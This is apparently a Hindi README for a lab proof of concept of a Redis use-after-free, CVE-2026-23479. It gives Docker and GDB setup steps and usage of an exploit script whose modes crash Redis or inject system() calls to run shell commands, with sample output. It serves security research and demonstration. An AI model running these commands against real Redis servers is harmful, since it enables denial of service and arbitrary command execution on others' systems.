
GDB-सहायता प्राप्त शोषण के साथ अवधारणा का प्रमाण (केवल शैक्षिक / प्रयोगशाला उपयोग)
Redis
unblockClientOnKey()में Use-After-Free जो Remote Code Execution की ओर ले जाता है
GDB‑सहायता प्राप्त शोषण के साथ प्रूफ ऑफ कॉन्सेप्ट (केवल शैक्षिक / लैब उपयोग के लिए)
CVE-2026-23479 Redis संस्करण 7.2.0 से 8.6.2 में एक गंभीर Use‑After‑Free (UAF) भेद्यता है।
यह बग unblockClientOnKey() में मौजूद है जो processCommandAndResetClient() को इसके रिटर्न मान की जाँच किए बिना कॉल करता है।
यदि उस कॉल के दौरान क्लाइंट मुक्त हो जाता है (जैसे eviction के कारण), तो कॉलर एक dangling pointer पर कार्य करना जारी रखता है → UAF।
एक हमलावर जो मुक्ति के बाद heap को आकार दे सकता है, वह मनमाना कोड निष्पादन प्राप्त कर सकता है।
यह रिपॉजिटरी एक GDB‑सहायता प्राप्त PoC प्रदान करती है जो:
freeClient() कॉल) उत्पन्न करके UAF को सिद्ध करता हैsystem() कॉल इंजेक्ट करके मनमाना कमांड निष्पादन प्रदर्शित करता है⚠️ महत्वपूर्ण: यह एक हथियारबंद एक्सप्लॉइट नहीं है। यह एक विशेषाधिकार प्राप्त Docker कंटेनर के अंदर GDB का उपयोग करके अनुकरण करता है कि भेद्यता का सफलतापूर्वक शोषण करने के बाद एक वास्तविक हमलावर क्या हासिल कर सकता है। इसका उपयोग केवल अपनी लैब में या उन सिस्टम पर करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है।
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--container के माध्यम से कोई भी कंटेनर पास करेंXREAD BLOCK कमांड क्लाइंट को स्ट्रीम डेटा की प्रतीक्षा करवाता है।pid 1) से अटैच होता है।processCommandAndResetClient पर ब्रेकपॉइंट सेट करें – वह फ़ंक्शन जो ब्लॉक किए गए क्लाइंट को पुनः संसाधित करते समय कॉल किया जाता है।XADD विक्टिम को जगाता है।gdb मोड: freeClient($rdi) कॉल करता है → जानबूझकर SIGSEGV उत्पन्न करता है → UAF सिद्ध करता है।rce मोड: system("your command") कॉल करता है → Redis उपयोगकर्ता (डिफ़ॉल्ट रूप से root) के रूप में मनमाना शेल कमांड निष्पादित करता है।ब्रेकपॉइंट हर बार फायर होता है जब एक ब्लॉक किया गया क्लाइंट अनब्लॉक होता है, यह दर्शाता है कि वही कोड पथ जिसमें UAF है, कोड निष्पादन की भी अनुमति देता है।
| शाखा | भेद्य सीमा |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
स्क्रिप्ट स्वचालित रूप से Redis संस्करण को पार्स करती है और रिपोर्ट करती है कि यह भेद्य है या नहीं।
apt का उपयोग करती है (जैसे आधिकारिक redis:8.6.2)--privileged के साथ बनाया जाना चाहिए (ptrace के लिए आवश्यक)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| मोड | विवरण |
|---|---|
crash | मेमोरी दबाव के माध्यम से UAF ट्रिगर करने का प्रयास करें (GDB की आवश्यकता नहीं)। Redis क्रैश हो सकता है, लेकिन गारंटी नहीं। |
gdb | GDB अटैच करें और ब्रेकपॉइंट पर freeClient() कॉल करें → SIGSEGV को बाध्य करें (UAF सिद्ध करता है)। |
rce | GDB अटैच करें और ब्रेकपॉइंट पर system(cmd) कॉल करें → कंटेनर के अंदर एक शेल कमांड निष्पादित करें। |
full | पहले crash चलाएँ; यदि Redis क्रैश नहीं होता है, तो gdb पर वापस जाएँ। |
| तर्क | डिफ़ॉल्ट | विवरण |
|---|---|---|
target | (आवश्यक) | Redis सर्वर का IP पता |
-p, --port | 6379 | Redis पोर्ट |
-m, --mode | full | crash, gdb, rce, full में से एक |
--container | env-redis-vuln-1 | Docker कंटेनर नाम |
--cmd | id > /tmp/pwned_by_cve | rce मोड में निष्पादित करने के लिए कमांड |
नोट: सभी कमांड होस्ट मशीन से चलाए जाते हैं, Docker कंटेनर के अंदर नहीं।
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
सेगमेंटेशन फॉल्ट के बाद Redis क्रैश हो जाएगा।
कंटेनर पुनः प्रारंभ करें:
docker start redis-vuln-local
स्वच्छ स्थिति सुनिश्चित करने के लिए Redis पुनः प्रारंभ करें:
docker restart redis-vuln-local
एक्सप्लॉइट चलाएँ:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
प्रूफ फ़ाइल सत्यापित करें:
docker exec redis-vuln-local ls -l /tmp/pwned
यदि सफल हो, तो फ़ाइल मौजूद होगी, जो सिद्ध करती है कि:
system("touch /tmp/pwned");
Redis कंटेनर के अंदर निष्पादित किया गया था।
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
यदि Redis अप्रत्याशित रूप से बाहर निकलता है (कंटेनर अब चल नहीं रहा है), तो UAF संभवतः ट्रिगर हो गया है।
इसे पुनः प्रारंभ करें:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
यह मोड:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit